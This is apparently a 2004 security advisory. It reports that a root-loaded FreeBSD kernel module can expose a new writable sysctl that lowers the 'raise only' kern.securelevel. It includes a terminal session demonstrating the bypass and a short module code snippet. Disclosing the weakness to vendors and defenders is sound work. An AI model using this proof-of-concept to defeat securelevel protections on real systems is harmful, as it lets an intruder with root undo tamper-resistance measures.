Unprivilegued settings for FreeBSD kernel variables

Type securityvulns
Reporter Securityvulns
Modified 2004-06-17T00:00:00



INTRODUCTION: i have found security threat in basic security facility in BSD systems that allows to lower sysctl variable

in this case to bypass security settings, root privilegues are needed

DESCRIPTION: sysctl(8) ... The sysctl utility retrieves kernel state and allows processes with appropriate privilege to set kernel state. The state to be retrieved or set is described using a ``Management Information Base'' (``MIB'') style name, described as a dotted set of components. ... kern.securelevel integer raise only ...

security(7) ... Once you have set the securelevel to 1, write access to raw devices will be denied and special chflags flags, such as `schg', will be enforced. ...

sysctl(3) ... KERN_SECURELVL The system security level. This level may be raised by processes with appropriate privilege. It may not be lowered. ...

PROBLEM: raise only kernel variables aren't really raise only, here is the way how we can avoid security settings

EXAMPLE: kernel module can gives you a new sysctl (for example kern.securelevel2): kern.securelevel2 with which you can lower/raiser sysctl.securelevel variable (source code attached)

$ kldstat Id Refs Address Size Name 1 7 0xc0400000 4378e4 kernel ... $ $ kldload ./securelevel2.ko $ kldstat Id Refs Address Size Name 1 8 0xc0400000 4378e4 kernel ... 8 1 0xc4e96000 2000 securelevel2.ko

$sudo sysctl kern.securelevel kern.securelevel: -1 $sudo sysctl kern.securelevel=3 kern.securelevel: -1 -> 3 $ sudo sysctl kern.securelevel kern.securelevel: 3 $ sudo sysctl kern.securelevel=-1 kern.securelevel: 3 sysctl: kern.securelevel: Operation not permitted $ sudo sysctl kern.securelevel2=-1 kern.securelevel2: 3 -> -1 $ sudo sysctl kern.securelevel kern.securelevel: -1 $ uname -a FreeBSD mk 5.2.1-RELEASE-p5 FreeBSD 5.2.1-RELEASE-p5 #8: Wed Jun 2 11:23:59 CEST 2004 rado@mk:/xx/angel i386

CODE: [...] static int sysctl_securelevel2(SYSCTL_HANDLER_ARGS) { int error; error = sysctl_handle_long(oidp,&(securelevel), 0, req); return (error); } SYSCTL_PROC(_kern, OID_AUTO, securelevel2, CTLTYPE_LONG|CTLFLAG_RW, 0, 0, sysctl_securelevel2, "I", "."); [...]

WORKAROUND: not known

SEE ALSO: other "raise only" :-) sysctl variables (uptime....), write access to raw devices...

STATUE: still better than others

AFFECTED DISTRIBUTIONS: FreeBSD 5.x i386 FreeBSD, OpenBSD, NetBSD is most likely also affected (investigation needed)

LAST WORDS: i think i'm paranoid, but i want some measures to be taken FreeBSD team was informed

Best regards,

Radko <rado@daemon.sk>